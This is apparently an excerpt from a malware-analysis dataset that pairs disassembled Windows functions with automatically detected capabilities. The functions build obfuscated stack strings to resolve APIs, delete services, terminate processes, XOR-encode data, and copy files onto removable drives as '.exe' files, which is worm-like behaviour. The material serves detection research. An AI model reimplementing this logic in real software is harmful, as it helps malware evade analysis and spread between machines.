joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100034d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov cl, 0x65
mov al, 0x74
mov dl, 0x41
push 0x1000c004
mov byte [esp + 4], 0x53
mov byte [esp + 5], cl
mov byte [esp + 6], al
mov byte [esp + 7], 0x46
mov byte [esp + 8], 0x69
mov byte [esp + 9], 0x6c
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], dl
mov byte [esp + 0xc], al
mov byte [esp + 0xd], al
mov byte [esp + 0xe], 0x72
mov byte [esp + 0xf], 0x69
mov byte [esp + 0x10], 0x62
mov byte [esp + 0x11], 0x75
mov byte [esp + 0x12], al
mov byte [esp + 0x13], cl
mov byte [esp + 0x14], 0x73
mov byte [esp + 0x15], dl
mov byte [esp + 0x16], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000355a
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
push edx
push ecx
call eax
add esp, 0x14
ret
mov eax, dword [esp + 0x1c]
add esp, 0x14
ret

Function at 0x10003570
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov cl, 0x65
mov al, 0x74
mov dl, 0x41
push 0x1000c004
mov byte [esp + 4], 0x47
mov byte [esp + 5], cl
mov byte [esp + 6], al
mov byte [esp + 7], 0x46
mov byte [esp + 8], 0x69
mov byte [esp + 9], 0x6c
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], dl
mov byte [esp + 0xc], al
mov byte [esp + 0xd], al
mov byte [esp + 0xe], 0x72
mov byte [esp + 0xf], 0x69
mov byte [esp + 0x10], 0x62
mov byte [esp + 0x11], 0x75
mov byte [esp + 0x12], al
mov byte [esp + 0x13], cl
mov byte [esp + 0x14], 0x73
mov byte [esp + 0x15], dl
mov byte [esp + 0x16], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100035f5
mov edx, dword [esp + 0x18]
push edx
call eax
add esp, 0x14
ret
mov eax, dword [esp + 0x18]
add esp, 0x14
ret

Function at 0x10003600
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push 0x1000c004
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov cl, 0x65
mov byte [esp], 0x44
mov byte [esp + 1], cl
mov byte [esp + 5], cl
mov cl, 0x6f
mov byte [esp + 2], 0x76
mov byte [esp + 7], cl
mov byte [esp + 9], cl
mov byte [esp + 0xd], cl
lea ecx, [esp]
push ecx
push eax
mov byte [esp + 0xb], 0x69
mov byte [esp + 0xc], 0x63
mov byte [esp + 0xe], 0x49
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x12], 0x6e
mov byte [esp + 0x13], 0x74
mov byte [esp + 0x14], 0x72
mov byte [esp + 0x16], 0x6c
mov byte [esp + 0x17], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000369b
mov edx, dword [esp + 0x30]
mov ecx, dword [esp + 0x2c]
push edx
mov edx, dword [esp + 0x2c]
push ecx
mov ecx, dword [esp + 0x2c]
push edx
mov edx, dword [esp + 0x2c]
push ecx
mov ecx, dword [esp + 0x2c]
push edx
mov edx, dword [esp + 0x2c]
push ecx
mov ecx, dword [esp + 0x2c]
push edx
push ecx
call eax
add esp, 0x10
ret
mov eax, dword [esp + 0x30]
add esp, 0x10
ret
Function at 0x10006a20
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push edi
jb 0x10006a2c
jae 0x10006a2c
call fcn.10007be9
add byte [ebx], dh
ror byte [ebp + 0x558dac7d], 0xac
mov ecx, 0x11
xor eax, eax
lea edi, [ebp - 0x54]
lea edx, [ebp - 0x54]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x10]
mov dword [ebp - 0xc], eax
push ecx
mov dword [ebp - 8], eax
push edx
push eax
push eax
push eax
push eax
push eax
mov dword [ebp - 4], eax
push eax
mov eax, dword [ebp + 8]
push eax
push 0
mov dword [ebp - 0x54], 0x44
call fcn.10002300
add esp, 0x28
test eax, eax
pop edi
je 0x10006a98
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x10]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0x10]
push edx
call fcn.10002660
mov eax, dword [ebp - 0xc]
push eax
call fcn.10002660
add esp, 8
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x10007680
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jb 0x10007696
jae 0x10007696
call 0x106a7904
push 2
push 0
push 0
call fcn.100030f0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x100076ed
push esi
push 0x10020
push str.aubu
push edi
call fcn.10003180
mov esi, eax
add esp, 0xc
test esi, esi
je 0x100076e3
lea ecx, [ebp - 0x1c]
push ecx
push 1
push esi
call fcn.10002f10
add esp, 0xc
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
call fcn.10002fa0
add esp, 4
push edi
call fcn.10002fa0
add esp, 4
pop esi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10007700
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x450
push ebp
push esi
push edi
mov edi, dword [esp + 0x460]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x358]
mov eax, ecx
mov esi, edi
mov edi, edx
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatA]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push str..
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x35c]
push ecx
call ebp
lea edx, [esp + 0x218]
lea eax, [esp + 0x358]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0xc], esi
je 0x1000785f
push ebx
mov ebx, dword [esp + 0x468]
test byte [esp + 0x21c], 0x10
je 0x10007840
cmp byte [esp + 0x248], 0x2e
je 0x10007840
mov edi, dword [esp + 0x464]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x118]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x100278d4
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x11c]
push ecx
call ebp
lea edx, [esp + 0x248]
lea eax, [esp + 0x118]
push edx
push eax
call ebp
lea ecx, [esp + 0x118]
push 6
push ecx
call fcn.100034d0
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 8
lea edx, [esp + 0x118]
stosb byte es:[edi], al
push edx
lea eax, [esp + 0x18]
push str._s.exe
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x20]
push 1
push ecx
push ebx
call fcn.10001c00
lea edx, [esp + 0x2c]
push 0x80
push edx
call fcn.100034d0
mov esi, dword [esp + 0x30]
add esp, 0x20
lea eax, [esp + 0x21c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10007776
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x450
ret
Function at 0x10007870
Capabilities:
Contain obfuscated stackstrings
Get disk information

Disassembly:
sub esp, 0x120
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x29]
mov byte [esp + 0x28], 0
push 1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x2c]
push 0x2b
push eax
push 0
call fcn.10001d60
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 0x10
lea ecx, [esp + 0x28]
mov bl, 0x65
push 0x100278d4
push ecx
mov byte [esp + 0x18], 0x72
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x61
mov byte [esp + 0x1b], 0x6c
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x63
mov byte [esp + 0x1f], 0x6b
mov byte [esp + 0x20], 0
call esi
lea edx, [esp + 0x10]
lea eax, [esp + 0x28]
push edx
push eax
call esi
mov cl, 0x66
mov al, 0x69
mov byte [esp + 0x1c], cl
mov byte [esp + 0x25], cl
lea ecx, [esp + 0x28]
push 0x100278d4
push ecx
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x6f
mov byte [esp + 0x27], al
mov byte [esp + 0x28], 0x64
mov byte [esp + 0x29], 0x71
mov byte [esp + 0x2a], 0x2e
mov byte [esp + 0x2b], 0x70
mov byte [esp + 0x2c], al
mov byte [esp + 0x2e], 0
call esi
lea edx, [esp + 0x1c]
lea eax, [esp + 0x28]
push edx
push eax
call esi
lea ecx, [esp + 0x28]
push ecx
call fcn.10003570
add esp, 4
cmp eax, 0xffffffff
je 0x100079ac
lea edx, [esp + 0x28]
push 0x80
push edx
call fcn.100034d0
mov esi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 8
mov bl, 0x63
mov eax, dword [0x100278fc]
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], eax
push ecx
mov byte [esp + 0x10], bl
call esi
cmp eax, 2
jne 0x1000799c
lea edx, [esp + 0x28]
lea eax, [esp + 0xc]
push edx
push eax
mov byte [esp + 0x16], 0
call fcn.10007700
add esp, 8
inc bl
cmp bl, 0x7a
jle 0x1000796c
push 0x7530
call edi
jmp 0x1000796a
pop edi
pop esi
pop ebx
add esp, 0x120
ret
Function at 0x10007ae0
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
jb 0x10007aec
jae 0x10007aec
call 0x7a08c07b
add byte [eax - 0x80], ch
add byte [eax], al
add byte [edx + 3], ch
mov eax, dword [ebp + 8]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push eax
call fcn.10002550
mov edi, eax
add esp, 0x1c
cmp edi, 0xffffffff
jne 0x10007b1a
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
push 0
push 0
push 4
push 0
push edi
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [ebp - 4], ebx
jne 0x10007b4a
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 2
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0x10007b66
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 8]
inc ecx
shr ecx, 1
push ecx
push esi
push 0
call fcn.10007a90
mov ecx, dword [esi + 0x3c]
add esp, 0xc
add ecx, esi
cmp word [ecx + 0x18], 0x10b
jne 0x10007ba6
mov dx, word [ecx + 0x58]
cmp ax, dx
sbb ebx, ebx
neg ebx
add ebx, edx
mov dx, word [ecx + 0x5a]
sub eax, ebx
cmp ax, dx
sbb ebx, ebx
neg ebx
add ebx, edx
sub eax, ebx
mov ebx, dword [ebp - 4]
mov edx, dword [ebp + 8]
and eax, 0xffff
add eax, edx
push 0
push esi
mov dword [ecx + 0x58], eax
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
call fcn.10002660
push edi
call fcn.10002660
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10007c20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
push edi
xor dl, dl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x207]
mov byte [ebp - 0x208], dl
mov byte [ebp - 0x104], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jb 0x10007c74
jae 0x10007c74
call 0x526ad5e2
push 0x59
push 0x42
call fcn.10007be0
add esp, 8
push eax
push 0x5a
push 0x41
call fcn.10007be0
add esp, 8
lea ecx, [ebp - 0x208]
lea edx, [ebp - 0x104]
push eax
push ecx
push str._s_system_cv_cu.sys
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x104]
push eax
call fcn.100079d0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x18
push 0x4b0
call edi
lea ecx, [ebp - 0x104]
or esi, 0xffffffff
push ecx
call fcn.10007ae0
add esp, 4
test eax, eax
je 0x10007cea
lea edx, [ebp - 0x104]
push edx
call fcn.10007570
add esp, 4
mov esi, eax
push 0xc8
call edi
lea eax, [ebp - 0x104]
push eax
call fcn.10001b90
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10007d10
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [esp + 4]
cmp word [eax], 0x5a4d
jne 0x10007d5e
mov ecx, dword [eax + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x10007d5e
mov ecx, dword [esp + 8]
mov dword [ecx], eax
mov edx, dword [eax]
cmp edx, 0x4550
jne 0x10007d5e
mov edx, dword [esp + 0xc]
add eax, 4
mov dword [ecx], eax
add eax, 0x14
mov dword [edx], eax
cmp word [eax], 0x10b
jne 0x10007d5e
mov ecx, dword [esp + 0x10]
add eax, 0xe0
mov dword [ecx], eax
mov eax, 1
ret
xor eax, eax
ret
Function at 0x406752
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406776
xor eax, eax
test eax, eax
je 0x406789
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406789
xor ecx, ecx
jmp 0x40678c
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x4068b5
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4068ec
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4068c6
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4068c1
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x40691d
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4068ff
pop edi
not eax
pop esi
ret 0xc

Function at 0x4016ee
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, esp
push ebp
mov ebp, esp
add ecx, 4
mov dword [0x4050b2], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x4051a0], eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x405134], eax
mov dword [0x4050aa], eax
mov dword [0x405120], 0x30
mov dword [0x405124], 2
jmp 0x401733
mov dword [0x405128], 0x4030e0
mov dword [0x40512c], 0
mov dword [0x405130], 0
mov dword [0x405148], 0x404182
mov dword [0x405140], 0xf
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x405138], eax
mov dword [0x40514c], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x40513c], eax
push 0x405120
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x4050aa]
push 0
push 0
push 0x1e0
push 0x1fe
push 0xfffff862
push 0xfffff8f8
push 0xcf0000
push str.5_minutes
push str.return
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x405198], eax
push 5
push dword [0x405198]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x405198]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x405150]
jmp 0x401807
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x4017f9
mov eax, dword [0x405158]
jmp 0x401822
call 0x402c71
ret
Function at 0x402f9c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x45f008], 0x8088405
inc edx
mov dword [ebx + 0x45f008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403684
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x45f024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x40371c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4036fc
xor eax, eax
push ebp
push 0x4036f5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403738
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4036fc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x45f024]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x45f024], ax
mov esp, ebp
pop ebp
ret

Function at 0x404518
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4ce04c], 0
je 0x404579
cmp word [0x4ce220], 0xd7b2
jne 0x404541
cmp dword [0x4ce228], 0
jbe 0x404541
mov eax, 0x4ce21c
call dword [0x4ce238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4045a0
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x45f030], 0
jne 0x404595
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405c9c
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405ecc
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405d1f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405ecc
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405d1f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405ee8
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405da8
xor eax, eax
push ebp
push 0x405da1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405ad8
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405d86
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405f08
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405d86
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405da8
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405ec2
cmp byte [ebp - 0xd], 0
jne 0x405def
cmp byte [ebp - 0x12], 0
je 0x405ec2
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405e08
dec ebx
cmp byte [ebx], 0x2e
je 0x405e17
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405e07
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405ec2
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405e54
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405ec2
cmp byte [ebp - 0xd], 0
je 0x405ec2
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405ec2
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408350
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, eax
mov eax, edx
test esi, esi
je 0x4083e0
mov edx, dword [esi - 4]
mov edi, eax
test edx, edx
jle 0x4083e0
mov ecx, dword [eax]
mov ebx, edx
test ecx, ecx
je 0x408393
test edx, 3
jne 0x408382
xor edx, dword [ecx - 4]
cmp edx, 3
jbe 0x40838d
jmp 0x408393
or edx, 2
xor edx, dword [ecx - 4]
cmp edx, 1
ja 0x408393
cmp dword [ecx - 8], 1
je 0x40839d
mov edx, ebx
or edx, 3
call fcn.00404de4
mov edi, dword [edi]
mov dword [edi - 4], ebx
mov byte [edi + ebx], 0
add ebx, 0xffffffff
and ebx, 0xfffffffc
mov eax, dword [esi + ebx]
mov ecx, eax
or eax, 0x80808080
mov edx, eax
sub eax, 0x7b7b7b7b
xor edx, ecx
or eax, 0x80808080
sub eax, 0x66666666
and eax, edx
shr eax, 2
xor eax, ecx
mov dword [edi + ebx], eax
mov eax, dword [esi + ebx - 4]
sub ebx, 4
jge 0x4083af
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
pop ebx
jmp fcn.00404698

Function at 0x4083ec
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, eax
mov eax, edx
test esi, esi
je 0x40847c
mov edx, dword [esi - 4]
mov edi, eax
test edx, edx
jle 0x40847c
mov ecx, dword [eax]
mov ebx, edx
test ecx, ecx
je 0x40842f
test edx, 3
jne 0x40841e
xor edx, dword [ecx - 4]
cmp edx, 3
jbe 0x408429
jmp 0x40842f
or edx, 2
xor edx, dword [ecx - 4]
cmp edx, 1
ja 0x40842f
cmp dword [ecx - 8], 1
je 0x408439
mov edx, ebx
or edx, 3
call fcn.00404de4
mov edi, dword [edi]
mov dword [edi - 4], ebx
mov byte [edi + ebx], 0
add ebx, 0xffffffff
and ebx, 0xfffffffc
mov eax, dword [esi + ebx]
mov ecx, eax
or eax, 0x80808080
mov edx, eax
sub eax, 0x5b5b5b5b
xor edx, ecx
or eax, 0x80808080
sub eax, 0x66666666
and eax, edx
shr eax, 2
xor eax, ecx
mov dword [edi + ebx], eax
mov eax, dword [esi + ebx - 4]
sub ebx, 4
jge 0x40844b
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
pop ebx
jmp fcn.00404698

Function at 0x40b6b8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b6f1
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404788
jmp 0x40b6fa
mov eax, ebx
mov edx, esi
call fcn.004046ec
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b704
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b726
movzx eax, byte [esp]
jmp 0x40b728
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret